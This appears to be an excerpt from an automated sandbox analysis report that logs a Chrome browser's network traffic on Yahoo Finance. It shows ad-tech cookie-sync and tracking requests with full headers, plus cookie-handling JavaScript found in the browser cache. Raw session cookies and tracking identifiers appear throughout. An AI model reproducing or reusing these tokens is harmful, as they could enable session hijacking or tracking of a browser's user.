__gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072991&val=CAESEBekM66nmsCe4_HEDSbE50c&google_cver=1 HTTP/1.1Host: us-u.openx.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=5a760414-e99e-05e0-04c1-b14876f22eba\|1727716879; pd=v2\|1727716881\|vMgavPkWgyiK; univ_id=537072971\|07c89b85-4c1c-424d-8df0-0123ed6cebb6\|1727716886210126
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/HeatMap.v9WG23fw.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /mw?zpartnerid=1384&env=mWeb&gdpr=0&gdpr_consent=&cid=176682A8-E121-44A7-818D-4FE53D542BB2 HTTP/1.1Host: mwzeom.zeotap.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zc=cb7eebb1-bafc-4730-564f-caf0c86528d8
Source: global traffic	HTTP traffic detected: GET /pubmatic/1/info?sType=sync&sExtCookieId=176682A8-E121-44A7-818D-4FE53D542BB2&sInitiator=external&gdpr=0&gdpr_consent= HTTP/1.1Host: uipus.semasio.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: SEUNCY=8B22F39EC31AE5F8
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=openx&google_hm=YTViNWU4ODctODk2ZS02NGIzLTRiZjctMjMxOWQ4MzdkMzI3 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkUkNwMMgJ6QEXcNmBLe89FRWkxDD1qfpDAQyrRUH_QfzDefzbvv9fnUjUM9uM
Source: global traffic	HTTP traffic detected: GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=d10c4730-5cb3-81ed-9e19-fb377ae6d6a7&dcc=t HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-privacy=0; ad-id=A3cS_gqdeUbvqw-b1fKqWAc
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=54374054&p=133799&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=176682A8-E121-44A7-818D-4FE53D542BB2; chkChromeAb67Sec=2; DPSync4=1728864000%3A227_226_219_197_245_241; SyncRTB4=1728259200%3A223%7C1728864000%3A220_201_13_251_54_71_3_21_56_266; ipc=160648^https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160648%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fsync-pm.ads.yieldmo.com%252Fsync%253Fpn_id%253Dpub%2526id%253D%2523PMUID%2526gdpr%253DPM_GDPR%2526gdpr_consent%253DPM_CONSENT^2^0; pi=160648:3; KRTBCOOKIE_57=22776-7992184014990425658&KRTB&23339-7992184014990425658; KRTBCOOKIE_80=22987-CAESEH85Z0C6pHtyE6-DEC6SiYM&KRTB&16514-CAESEH85Z0C6pHtyE6-DEC6SiYM&KRTB&23025-CAESEH85Z0C6pHtyE6-DEC6SiYM&KRTB&23386-CAESEH85Z0C6pHtyE6-DEC6SiYM; PugT=1727716886
Source: global traffic	HTTP traffic detected: GET /xuid?mid=2319&xuid=0-44ef61b2-fe37-563b-497a-08aac775d996$ip$8.46.123.33&dongle=4430 HTTP/1.1Host: eb2.3lift.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluid=3811239664715375770435; tluidp=3811239664715375770435
Source: global traffic	HTTP traffic detected: GET /ebda?gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluid=3811239664715375770435; tluidp=3811239664715375770435
Source: global traffic	HTTP traffic detected: GET /AdServer/SPug?partnerID=133799&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: simage4.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=176682A8-E121-44A7-818D-4FE53D542BB2; chkChromeAb67Sec=2; DPSync4=1728864000%3A227_226_219_197_245_241; SyncRTB4=1728259200%3A223%7C1728864000%3A220_201_13_251_54_71_3_21_56_266; ipc=160648^https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160648%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fsync-pm.ads.yieldmo.com%252Fsync%253Fpn_id%253Dpub%2526id%253D%2523PMUID%2526gdpr%253DPM_GDPR%2526gdpr_consent%253DPM_CONSENT^2^0; pi=160648:3; KRTBCOOKIE_57=22776-7992184014990425658&KRTB&23339-7992184014990425658; KRTBCOOKIE_80=22987-CAESEH85Z0C6pHtyE6-DEC6SiYM&KRTB&16514-CAESEH85Z0C6pHtyE6-DEC6SiYM&KRTB&23025-CAESEH85Z0C6pHtyE6-DEC6SiYM&KRTB&23386-CAESEH85Z0C6pHtyE6-DEC6SiYM; PugT=1727716886
Source: global traffic	HTTP traffic detected: GET /v000/sync?tdid=07c89b85-4c1c-424d-8df0-0123ed6cebb6 HTTP/1.1Host: ads.yieldmo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VRLAoLL__uL1ewyIa5Iq%7C1727654400000%7C0; re_sync=rc%3D1200643%7Cunl%3D1200643%7Ct%3D1200643%7Cpub%3D1200643%7Can%3D1200643; ptran=7992184014990425658; ptrt=07c89b85-4c1c-424d-8df0-0123ed6cebb6; ptrrc=M1PA0VVQ-I-EWH1
Source: global traffic	HTTP traffic detected: GET /sync?pn_id=rc&id=M1PA0VVQ-I-EWH1 HTTP/1.1Host: ads.yieldmo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VRLAoLL__uL1ewyIa5Iq%7C1727654400000%7C0; re_sync=rc%3D1200643%7Cunl%3D1200643%7Ct%3D1200643%7Cpub%3D1200643%7Can%3D1200643; ptran=7992184014990425658; ptrt=07c89b85-4c1c-424d-8df0-0123ed6cebb6; ptrrc=M1PA0VVQ-I-EWH1
Source: global traffic	HTTP traffic detected: GET /s/dcm?pid=a38a8ddf-19a7-4ab8-ba05-0a61de92a7e5&id=&gdpr=0&us_privacy=1YNN HTTP/1.1Host: aax-eu.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-privacy=0; ad-id=A3cS_gqdeUbvqw-b1fKqWAc
Source: global traffic	HTTP traffic detected: GET /v000/sync?pn_id=unl&id=RX-3fef85e6-bbf0-409a-a376-6c1ad497756a-003 HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VRLAoLL__uL1ewyIa5Iq%7C1727654400000%7C0; re_sync=rc%3D1200643%7Cunl%3D1200643%7Ct%3D1200643%7Cpub%3D1200643%7Can%3D1200643; ptran=7992184014990425658; ptrt=07c89b85-4c1c-424d-8df0-0123ed6cebb6; ptrrc=M1PA0VVQ-I-EWH1
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=adobe&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=ZvreFAAGJeTfkQAF&_test=ZvreFAAGJeTfkQAF HTTP/1.1Host: pbs.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; uids=eyJ0ZW1wVUlEcyI6eyJpeCI6eyJ1aWQiOiJadnJlRU5ITTZJNEFBQXlxQURvMmt3QUFBX0lBQUFJQiIsImV4cGlyZXMiOiIyMDI0LTEwLTE0VDE3OjIxOjIyLjQxMDIyNTg2NFoifSwidHRkIjp7InVpZCI6IjA3Yzg5Yjg1LTRjMWMtNDI0ZC04ZGYwLTAxMjNlZDZjZWJiNiIsImV4cGlyZXMiOiIyMDI0LTEwLTE0VDE3OjIxOjI2Ljg4OTIwNTA0M1oifX19
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=ttd&uid=07c89b85-4c1c-424d-8df0-0123ed6cebb6&gdpr=0&gdpr_consent= HTTP/1.1Host: pbs.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; uids=eyJ0ZW1wVUlEcyI6eyJpeCI6eyJ1aWQiOiJadnJlRU5ITTZJNEFBQXlxQURvMmt3QUFBX0lBQUFJQiIsImV4cGlyZXMiOiIyMDI0LTEwLTE0VDE3OjIxOjIyLjQxMDIyNTg2NFoifSwidHRkIjp7InVpZCI6IjA3Yzg5Yjg1LTRjMWMtNDI0ZC04ZGYwLTAxMjNlZDZjZWJiNiIsImV4cGlyZXMiOiIyMDI0LTEwLTE0VDE3OjIxOjI2Ljg4OTIwNTA0M1oifX19
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/default/20181213/Finance_Brand_Filler__300x250_Look_1.jpg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=triplelift&gdpr=0&gdpr_consent=&us_privacy=&google_hm=MzgxMTIzOTY2NDcxNTM3NTc3MDQzNQ%3D%3D HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkUkNwMMgJ6QEXcNmBLe89FRWkxDD1qfpDAQyrRUH_QfzDefzbvv9fnUjUM9uM
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?_={CACHEBUSTER}&id=47f31213-389c-4904-aaa6-9b11aab9c211&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dopx%26i%3D HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; i=5a760414-e99e-05e0-04c1-b14876f22eba\|1727716879; pd=v2\|1727716881\|vMgavPkWgyiK; univ_id=537072971\|07c89b85-4c1c-424d-8df0-0123ed6cebb6\|1727716886210126
Source: global traffic	HTTP traffic detected: GET /sync?nid=1&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sa-user-id=s%3A0-44ef61b2-fe37-563b-497a-08aac775d996.HUZAD87nGmfB6ts9monpnGc74iU%2BnIDtZVp3vzenSYI; sa-user-id=s%3A0-44ef61b2-fe37-563b-497a-08aac775d996.HUZAD87nGmfB6ts9monpnGc74iU%2BnIDtZVp3vzenSYI; sa-user-id-v2=s%3ARO9hsv43VjtJegiqx3XZlggueyE.f1DEnV0kSRDqXApJa8DQm75QGQfLI69IqPby0eTbqqo; sa-user-id-v2=s%3ARO9hsv43VjtJegiqx3XZlggueyE.f1DEnV0kSRDqXApJa8DQm75QGQfLI69IqPby0eTbqqo; sa-user-id-v3=s%3AAQAKIPMD_qM83gEw_KpANQ1k_u5OM7M1EA1HSai3RTqI7aomEHwYBCCVvOu3BjABOgT87-jmQgR-pEY0.vN32%2Fd4YZ9DOY3AsHv3gov3556bSU87K4Y1v5IEQfZQ; sa-user-id-v3=s%3AAQAKIPMD_qM83gEw_KpANQ1k_u5OM7M1EA1HSai3RTqI7aomEHwYBCCVvOu3BjABOgT87-jmQgR-pEY0.vN32%2Fd4YZ9DOY3AsHv3gov3556bSU87K4Y1v5IEQfZQ
Source: global traffic	HTTP traffic detected: GET /track/cmf/rubicon?gdpr=0&us_privacy=1YNN HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=07c89b85-4c1c-424d-8df0-0123ed6cebb6; TDCPM=CAESFgoHc3Z4OXQ1MBILCOb3lfnK37A9EAUSFwoIcHVibWF0aWMSCwiykPGYy9-wPRAFGAEgASgCMgsI3Ib0xeHfsD0QBTgBWghwdWJtYXRpY2AC
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/default/20181213/Finance_Brand_Filler__970x250_Look_1.jpg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=rubiconprojectHMT&id=OWxibrJZSL2W6ksTJ3Av2g&gdpr=0 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-privacy=0; ad-id=A3cS_gqdeUbvqw-b1fKqWAc
Source: global traffic	HTTP traffic detected: GET /usersync/gumgum/?puid=e_5a867c78-d90d-4df8-b8ff-e041d0dc2e22&gdpr=0&gdpr_consent=&us_privacy=1YNN&cb=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dzem%26i%3D__ZUID__ HTTP/1.1Host: b1sync.zemanta.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rtb.gumgum.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chromecache_1186.2.dr	String found in binary or memory: "id": "com.yahoo.www.twa", equals www.yahoo.com (Yahoo)
Source: chromecache_1186.2.dr	String found in binary or memory: "android_package_name": "com.yahoo.www.twa", equals www.yahoo.com (Yahoo)
Source: chromecache_757.2.dr	String found in binary or memory: /t.parse=function(e,t){if("string"!=typeof e)throw new TypeError("argument str must be a string");for(var o={},i=t\|\|{},a=e.split(r),c=i.decode\|\|n,l=0;l<a.length;l++){var d=a[l],p=d.indexOf("=");if(!(p<0)){var u=d.substr(0,p).trim(),m=d.substr(++p,d.length).trim();'"'==m[0]&&(m=m.slice(1,-1)),null==o[u]&&(o[u]=s(m,c))}}return o},t.serialize=function(e,t,n){var r=n\|\|{},s=r.encode\|\|o;if(!i.test(e))throw new TypeError("argument name is invalid");var a=s(t);if(a&&!i.test(a))throw new TypeError("argument val is invalid");var c=e+"="+a;if(null!=r.maxAge){var l=r.maxAge-0;if(isNaN(l))throw new Error("maxAge should be a Number");c+="; Max-Age="+Math.floor(l)}if(r.domain){if(!i.test(r.domain))throw new TypeError("option domain is invalid");c+="; Domain="+r.domain}if(r.path){if(!i.test(r.path))throw new TypeError("option path is invalid");c+="; Path="+r.path}r.expires&&(c+="; Expires="+r.expires.toUTCString());r.httpOnly&&(c+="; HttpOnly");r.secure&&(c+="; Secure");r.firstPartyOnly&&(c+="; First-Party-Only");return c};var n=decodeURIComponent,o=encodeURIComponent,r=/; /,i=/^[\u0009\u0020-\u007e\u0080-\u00ff]+$/;function s(e,t){try{return t(e)}catch(t){return e}}}},t={};function n(o){var r=t[o];if(void 0!==r)return r.exports;var i=t[o]={exports:{}};return e[o](i,i.exports,n),i.exports}n.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return n.d(t,{a:t}),t},n.d=(e,t)=>{for(var o in t)n.o(t,o)&&!n.o(e,o)&&Object.defineProperty(e,o,{enumerable:!0,get:t[o]})},n.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),(()=>{"use strict";var e=n(586);const t=["aol.com","aol.co.uk","aol.de","autoblog.com","cricket.yahoo.sportz.io","engadget.com","primetime.bluejeans.com","techcrunch.com","yahoo.com","yahoo.com.hk","yahoo.com.tw"].map((e=>`([\\.\\w\\-]+\\.)?${e.replace(/\./g,"\\.")}`)),o=["cricket.yahoo.net","www.tumblr.com"].map((e=>e.replace(/\./g,"\\."))),r=new 